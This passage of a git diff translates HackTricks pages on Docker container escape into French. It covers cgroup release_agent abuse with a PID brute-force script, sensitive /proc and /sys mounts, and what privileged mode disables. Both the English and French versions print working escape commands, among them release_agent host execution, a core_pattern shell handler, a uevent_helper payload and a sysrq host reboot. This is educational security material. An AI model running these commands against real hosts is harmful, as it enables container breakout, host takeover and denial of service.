fichier `release_agent` et en déclenchant son invocation pour exécuter des commandes arbitraires sur l'hôte du conteneur. Voici un aperçu des étapes impliquées : -The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **Préparer l'environnement :** +- Un répertoire `/tmp/cgrp` est créé pour servir de point de montage pour le cgroup. +- Le contrôleur de cgroup RDMA est monté sur ce répertoire. En cas d'absence du contrôleur RDMA, il est suggéré d'utiliser le contrôleur de cgroup `memory` comme alternative. ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **Configurer le cgroup enfant :** +- Un cgroup enfant nommé "x" est créé dans le répertoire cgroup monté. +- Les notifications sont activées pour le cgroup "x" en écrivant 1 dans son fichier notify_on_release. ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **Configurer le Release Agent :** +- Le chemin du conteneur sur l'hôte est obtenu à partir du fichier /etc/mtab. +- Le fichier release_agent du cgroup est ensuite configuré pour exécuter un script nommé /cmd situé au chemin de l'hôte acquis. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified. - +4. **Créer et configurer le script /cmd :** +- Le script /cmd est créé à l'intérieur du conteneur et est configuré pour exécuter ps aux, redirigeant la sortie vers un fichier nommé /output dans le conteneur. Le chemin complet de /output sur l'hôte est spécifié. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` - -5. **Trigger the Attack:** - - A process is initiated within the "x" child cgroup and is immediately terminated. - - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container. - +5. **Déclencher l'attaque :** +- Un processus est initié dans le cgroup enfant "x" et est immédiatement terminé. +- Cela déclenche le `release_agent` (le script /cmd), qui exécute ps aux sur l'hôte et écrit la sortie dans /output à l'intérieur du conteneur. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5c3c57d9f..2f1482598 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,27 +1,26 @@ {{#include ../../../../banners/hacktricks-training.md}} -For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: +Pour plus de détails, **consultez le blog à partir de [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Ceci est juste un résumé : -The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. +La technique décrit une méthode pour **exécuter du code hôte depuis un conteneur**, surmontant les défis posés par les configurations de pilotes de stockage qui obscurcissent le chemin du système de fichiers du conteneur sur l'hôte, comme Kata Containers ou des paramètres spécifiques de `devicemapper`. -Key steps: +Étapes clés : -1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **Localisation des identifiants de processus (PIDs) :** En utilisant le lien symbolique `/proc//root` dans le pseudo-système de fichiers Linux, tout fichier à l'intérieur du conteneur peut être accessible par rapport au système de fichiers de l'hôte. Cela contourne la nécessité de connaître le chemin du système de fichiers du conteneur sur l'hôte. +2. **Bash PID :** Une approche de force brute est employée pour rechercher à travers les PIDs sur l'hôte. Cela se fait en vérifiant séquentiellement la présence d'un fichier spécifique à `/proc//root/`. Lorsque le fichier est trouvé, cela indique que le PID correspondant appartient à un processus s'exécutant à l'intérieur du conteneur cible. +3. **Déclenchement de l'exécution :** Le chemin PID deviné est écrit dans le fichier `cgroups release_agent`. Cette action déclenche l'exécution du `release_agent`. Le succès de cette étape est confirmé en vérifiant la création d'un fichier de sortie. -### Exploitation Process +### Processus d'exploitation -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: +Le processus d'exploitation implique un ensemble d'actions plus détaillé, visant à exécuter un payload sur l'hôte en devinant le bon PID d'un processus s'exécutant à l'intérieur du conteneur. Voici comment cela se déroule : -1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. -2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. -3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **Initialiser l'environnement :** Un script de payload (`payload.sh`) est préparé sur l'hôte, et un répertoire unique est créé pour la manipulation des cgroups. +2. **Préparer le payload :** Le script de payload, qui contient les commandes à exécuter sur l'hôte, est écrit et rendu exécutable. +3. **Configurer le cgroup :** Le cgroup est monté et configuré. Le drapeau `notify_on_release` est défini pour s'assurer que le payload s'exécute lorsque le cgroup est libéré. +4. **Force brute PID :** Une boucle itère à travers les PIDs potentiels, écrivant chaque PID deviné dans le fichier `release_agent`. Cela définit effectivement le script de payload comme le `release_agent`. +5. **Déclencher et vérifier l'exécution :** Pour chaque PID, le `cgroup.procs` du cgroup est écrit, déclenchant l'exécution du `release_agent` si le PID est correct. La boucle continue jusqu'à ce que la sortie du script de payload soit trouvée, indiquant une exécution réussie. +PoC du post de blog : ```bash #!/bin/sh @@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -81,5 +80,4 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 718263059..d0a59fe51 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,181 +2,173 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+L'exposition de `/proc` et `/sys` sans une isolation appropriée des espaces de noms introduit des risques de sécurité significatifs, y compris l'augmentation de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou accessibles par un utilisateur non autorisé, peuvent conduire à une évasion de conteneur, à une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé. -{% embed url="https://websec.nl/" %} +**Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. - -**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** - -## procfs Vulnerabilities +## Vulnérabilités procfs ### `/proc/sys` -This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: +Ce répertoire permet d'accéder à la modification des variables du noyau, généralement via `sysctl(2)`, et contient plusieurs sous-répertoires préoccupants : #### **`/proc/sys/kernel/core_pattern`** -- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. -- **Testing and Exploitation Example**: +- Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). +- Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut conduire à une exécution de code si le fichier commence par un pipe `|`. +- **Exemple de test et d'exploitation** : - ```bash - [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access - cd /proc/sys/kernel - echo "|$overlay/shell.sh" > core_pattern # Set custom handler - sleep 5 && ./crash & # Trigger handler - ``` +```bash +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Tester l'accès en écriture +cd /proc/sys/kernel +echo "|$overlay/shell.sh" > core_pattern # Définir un gestionnaire personnalisé +sleep 5 && ./crash & # Déclencher le gestionnaire +``` #### **`/proc/sys/kernel/modprobe`** -- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contains the path to the kernel module loader, invoked for loading kernel modules. -- **Checking Access Example**: +- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Contient le chemin vers le chargeur de modules du noyau, invoqué pour charger des modules du noyau. +- **Exemple de vérification d'accès** : - ```bash - ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - ``` +```bash +ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe +``` #### **`/proc/sys/vm/panic_on_oom`** -- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. +- Référencé dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Un drapeau global qui contrôle si le noyau panique ou invoque le tueur OOM lorsqu'une condition OOM se produit. #### **`/proc/sys/fs`** -- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. -- Write access can enable various denial-of-service attacks against the host. +- Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers. +- L'accès en écriture peut permettre divers attaques par déni de service contre l'hôte. #### **`/proc/sys/fs/binfmt_misc`** -- Allows registering interpreters for non-native binary formats based on their magic number. -- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. -- Relevant exploit and explanation: - - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique. +- Peut conduire à une élévation de privilèges ou à un accès shell root si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture. +- Exploit pertinent et explication : +- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- Tutoriel approfondi : [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### Others in `/proc` +### Autres dans `/proc` #### **`/proc/config.gz`** -- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. -- Useful for attackers to identify vulnerabilities in the running kernel. +- Peut révéler la configuration du noyau si `CONFIG_IKCONFIG_PROC` est activé. +- Utile pour les attaquants pour identifier les vulnérabilités dans le noyau en cours d'exécution. #### **`/proc/sysrq-trigger`** -- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. -- **Rebooting Host Example**: +- Permet d'invoquer des commandes Sysrq, pouvant provoquer des redémarrages immédiats du système ou d'autres actions critiques. +- **Exemple de redémarrage de l'hôte** : - ```bash - echo b > /proc/sysrq-trigger # Reboots the host - ``` +```bash +echo b > /proc/sysrq-trigger # Redémarre l'hôte +``` #### **`/proc/kmsg`** -- Exposes kernel ring buffer messages. -- Can aid in kernel exploits, address leaks, and provide sensitive system information. +- Expose les messages du tampon de noyau. +- Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système. #### **`/proc/kallsyms`** -- Lists kernel exported symbols and their addresses. -- Essential for kernel exploit development, especially for overcoming KASLR. -- Address information is restricted with `kptr_restrict` set to `1` or `2`. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Liste les symboles exportés par le noyau et leurs adresses. +- Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR. +- Les informations d'adresse sont restreintes avec `kptr_restrict` réglé sur `1` ou `2`. +- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** -- Interfaces with the kernel memory device `/dev/mem`. -- Historically vulnerable to privilege escalation attacks. -- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Interface avec le périphérique de mémoire du noyau `/dev/mem`. +- Historiquement vulnérable aux attaques d'élévation de privilèges. +- Plus d'informations sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/kcore`** -- Represents the system's physical memory in ELF core format. -- Reading can leak host system and other containers' memory contents. -- Large file size can lead to reading issues or software crashes. -- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +- Représente la mémoire physique du système au format ELF core. +- La lecture peut divulguer le contenu de la mémoire du système hôte et d'autres conteneurs. +- La grande taille du fichier peut entraîner des problèmes de lecture ou des plantages de logiciels. +- Utilisation détaillée dans [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). #### **`/proc/kmem`** -- Alternate interface for `/dev/kmem`, representing kernel virtual memory. -- Allows reading and writing, hence direct modification of kernel memory. +- Interface alternative pour `/dev/kmem`, représentant la mémoire virtuelle du noyau. +- Permet la lecture et l'écriture, donc la modification directe de la mémoire du noyau. #### **`/proc/mem`** -- Alternate interface for `/dev/mem`, representing physical memory. -- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. +- Interface alternative pour `/dev/mem`, représentant la mémoire physique. +- Permet la lecture et l'écriture, la modification de toute la mémoire nécessite de résoudre les adresses virtuelles en adresses physiques. #### **`/proc/sched_debug`** -- Returns process scheduling information, bypassing PID namespace protections. -- Exposes process names, IDs, and cgroup identifiers. +- Renvoie des informations sur la planification des processus, contournant les protections de l'espace de noms PID. +- Expose les noms de processus, les ID et les identifiants de cgroup. #### **`/proc/[pid]/mountinfo`** -- Provides information about mount points in the process's mount namespace. -- Exposes the location of the container `rootfs` or image. +- Fournit des informations sur les points de montage dans l'espace de noms de montage du processus. +- Expose l'emplacement du `rootfs` ou de l'image du conteneur. -### `/sys` Vulnerabilities +### Vulnérabilités `/sys` #### **`/sys/kernel/uevent_helper`** -- Used for handling kernel device `uevents`. -- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. -- **Example for Exploitation**: %%%bash +- Utilisé pour gérer les `uevents` des périphériques du noyau. +- Écrire dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors des déclenchements d'`uevent`. +- **Exemple d'exploitation** : %%%bash - #### Creates a payload +#### Crée une charge utile - echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - #### Finds host path from OverlayFS mount for container +#### Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur - host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) +host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - #### Sets uevent_helper to malicious helper +#### Définit uevent_helper sur l'assistant malveillant - echo "$host_path/evil-helper" > /sys/kernel/uevent_helper +echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - #### Triggers a uevent +#### Déclenche un uevent - echo change > /sys/class/mem/null/uevent +echo change > /sys/class/mem/null/uevent - #### Reads the output +#### Lit la sortie - cat /output %%% +cat /output %%% #### **`/sys/class/thermal`** -- Controls temperature settings, potentially causing DoS attacks or physical damage. +- Contrôle les paramètres de température, pouvant causer des attaques DoS ou des dommages physiques. #### **`/sys/kernel/vmcoreinfo`** -- Leaks kernel addresses, potentially compromising KASLR. +- Fuit des adresses du noyau, compromettant potentiellement KASLR. #### **`/sys/kernel/security`** -- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. -- Access might enable a container to disable its MAC system. +- Contient l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor. +- L'accès pourrait permettre à un conteneur de désactiver son système MAC. -#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`** -- Exposes interfaces for interacting with EFI variables in NVRAM. -- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. +- Expose des interfaces pour interagir avec les variables EFI dans NVRAM. +- Une mauvaise configuration ou exploitation peut conduire à des ordinateurs portables brisés ou à des machines hôtes non amorçables. #### **`/sys/kernel/debug`** -- `debugfs` offers a "no rules" debugging interface to the kernel. -- History of security issues due to its unrestricted nature. +- `debugfs` offre une interface de débogage "sans règles" au noyau. +- Historique de problèmes de sécurité en raison de sa nature non restreinte. -### References +### Références - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index ce967ad2d..d9a83dcd5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -2,28 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## What Affects +## Ce qui est affecté -When you run a container as privileged these are the protections you are disabling: +Lorsque vous exécutez un conteneur en mode privilégié, voici les protections que vous désactivez : -### Mount /dev +### Monter /dev -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +Dans un conteneur privilégié, tous les **dispositifs peuvent être accessibles dans `/dev/`**. Par conséquent, vous pouvez **échapper** en **montant** le disque de l'hôte. {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="À l'intérieur du conteneur privilégié"}} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` - {{#endtab}} {{#endtabs}} -### Read-only kernel file systems +### Systèmes de fichiers du noyau en lecture seule -Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. +Les systèmes de fichiers du noyau fournissent un mécanisme permettant à un processus de modifier le comportement du noyau. Cependant, en ce qui concerne les processus de conteneur, nous voulons les empêcher d'apporter des modifications au noyau. Par conséquent, nous montons les systèmes de fichiers du noyau en tant que **lecture seule** dans le conteneur, garantissant que les processus du conteneur ne peuvent pas modifier le noyau. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="À l'intérieur du conteneur par défaut"}} ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="À l'intérieur du conteneur privilégié"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` - {{#endtab}} {{#endtabs}} -### Masking over kernel file systems +### Masquage des systèmes de fichiers du noyau -The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. +Le système de fichiers **/proc** est sélectivement écrivable mais, pour des raisons de sécurité, certaines parties sont protégées contre l'accès en écriture et en lecture en les superposant avec **tmpfs**, garantissant que les processus de conteneur ne peuvent pas accéder à des zones sensibles. -> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +> [!NOTE] > **tmpfs** est un système de fichiers qui stocke tous les fichiers dans la mémoire virtuelle. tmpfs ne crée aucun fichier sur votre disque dur. Donc, si vous démontez un système de fichiers tmpfs, tous les fichiers qui s'y trouvent sont perdus pour toujours. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="À l'intérieur du conteneur par défaut"}} ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="À l'intérieur du conteneur privilégié"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` - {{#endtab}} {{#endtabs}} -### Linux capabilities +### Capacités Linux -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +Les moteurs de conteneurs lancent les conteneurs avec un **nombre limité de capacités** pour contrôler ce qui se passe à l'intérieur du conteneur par défaut. Les conteneurs **privilégiés** ont **toutes** les **capacités** accessibles. Pour en savoir plus sur les capacités, lisez : {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="À l'intérieur du conteneur par défaut"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="À l'intérieur du conteneur privilégié"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read [...] ``` - {{#endtab}} {{#endtabs}} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +Vous pouvez manipuler les capacités disponibles pour un conteneur sans exécuter en mode `--privileged` en utilisant les drapeaux `--cap-add` et `--cap-drop`. ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp** est utile pour **limiter** les **syscalls** qu'un conteneur peut appeler. Un profil seccomp par défaut est activé par défaut lors de l'exécution de conteneurs docker, mais en mode privilégié, il est désactivé. En savoir plus sur Seccomp ici : {{#ref}} seccomp.md @@ -142,100 +126,86 @@ seccomp.md {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="À l'intérieur du conteneur privilégié"}} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` - {{#endtab}} {{#endtabs}} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +Aussi, notez que lorsque Docker (ou d'autres CRI) sont utilisés dans un **cluster Kubernetes**, le **filtre seccomp est désactivé par défaut**. ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un ensemble **limité** de **ressources** avec des **profils par programme**. Lorsque vous exécutez avec le drapeau `--privileged`, cette protection est désactivée. {{#ref}} apparmor.md {{#endref}} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. +Exécuter un conteneur avec le drapeau `--privileged` désactive les **étiquettes SELinux**, ce qui lui fait hériter de l'étiquette du moteur de conteneur, généralement `unconfined`, accordant un accès complet similaire à celui du moteur de conteneur. En mode sans privilèges, il utilise `container_runtime_t`, tandis qu'en mode root, `spc_t` est appliqué. {{#ref}} ../selinux.md {{#endref}} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## Ce qui n'affecte pas -## What Doesn't Affect +### Espaces de noms -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +Les espaces de noms ne sont **PAS affectés** par le drapeau `--privileged`. Même s'ils n'ont pas les contraintes de sécurité activées, ils **ne voient pas tous les processus sur le système ou le réseau hôte, par exemple**. Les utilisateurs peuvent désactiver des espaces de noms individuels en utilisant les drapeaux des moteurs de conteneurs **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**. {{#tabs}} -{{#tab name="Inside default privileged container"}} - +{{#tab name="À l'intérieur du 